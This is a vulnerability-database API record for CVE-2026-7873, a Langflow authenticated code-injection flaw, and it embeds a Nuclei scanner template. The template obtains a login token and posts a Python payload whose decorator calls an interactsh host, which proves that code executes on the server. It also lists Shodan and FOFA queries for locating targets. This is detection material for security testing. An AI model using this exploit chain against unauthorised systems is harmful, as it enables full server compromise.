{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-7873/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-7873/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-7873/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-7873/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-7873/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-7873"},"sightings":{"href":"/api/v1/sightings/cve-2026-7873"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-7873.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-7873\n\ninfo:\n  name: Langflow 1.7.2-1.10.0 - Authenticated Remote Code Execution\n  author: 0x_Akoko,pdteam\n  severity: critical\n  description: |\n    IBM Langflow OSS 1.0.0 through 1.10.0 contains a command injection caused by insufficient input validation, letting authenticated attackers execute arbitrary OS commands and read sensitive files, exploit requires authentication.\n  impact: |\n    Authenticated attackers can execute arbitrary OS commands and read sensitive files, leading to full system compromise and lateral movement.\n  remediation: |\n    Update to the latest version beyond 1.10.0.\n  reference:\n    - https://www.ibm.com/support/pages/node/7278441\n    - https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf\n    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/langflow_auth_rce_cve_2026_7873.rb\n    - https://github.com/rmhowe425/POC-CVE-2026-7873\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-7873\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.9\n    cve-id: CVE-2026-7873\n    epss-score: 0.06211\n    epss-percentile: 0.93545\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 4\n    product: langflow\n    vendor: langflow-ai\n    shodan-query: 'http.title:\"Langflow\"'\n    fofa-query: 'title=\"Langflow\"'\n  tags: cve,cve2026,langflow,rce,authenticated,code-injection,ibm,vkev\n\nflow: |\n  http(1);\n  let inRange = false;\n  if (template[\"langflow_version\"] && template[\"langflow_package\"]) {\n    let p = String(template[\"langflow_version\"]).split(\".\");\n    let major = parseInt(p[0], 10);\n    let minor = parseInt(p[1], 10);\n    let patch = parseInt(p[2], 10);\n    if (isNaN(patch)) { patch = 0; }\n    if (!isNaN(major) && !isNaN(minor)) {\n      let atLeast = (major === 1) && (minor > 7 || (minor === 7 && patch >= 2));\n      let atMost  = (major === 1) && (minor < 10 || (minor === 10 && patch === 0));\n      inRange = atLeast && atMost;\n    }\n  }\n  if (inRange) {\n    let token = \"\";\n    http(2);\n    if (template[\"auto_token\"]) {\n      token = template[\"auto_token\"];\n    }\n    if (!token) {\n      http(3);\n      if (template[\"login_token\"]) {\n        token = template[\"login_token\"];\n      }\n    }\n    if (token) {\n      set(\"auth_token\", token);\n      http(4);\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET /api/v1/version HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: langflow_version\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"version\"\\s*:\\s*\"([0-9][^\"]*)\"'\n\n      - type: regex\n        name: langflow_package\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"package\"\\s*:\\s*\"([Ll]angflow)\"'\n\n  - raw:\n      - |\n        GET /api/v1/auto_login HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: auto_token\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/v1/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        username={{username}}&password={{password}}\n\n    extractors:\n      - type: regex\n        name: login_token\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '\"access_token\"\\s*:\\s*\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/v1/validate/code HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{auth_token}}\n\n        {\"code\": \"@(lambda f: (__import__('urllib.request').request.urlopen('http://{{interactsh-url}}', timeout=8), f)[1])\\ndef langflow_check():\\n    pass\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"dns\", \"http\")'\n# digest: 4a0a0047304502207eb46193f8c7ec49d4f4b30c0277a44563de2a232270564ee009100bd37ad0d4022100937d2ba0f93943a283f5d46ef78ca764c511b27c827e9104dc6aa266a40fd2e2:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-7873"}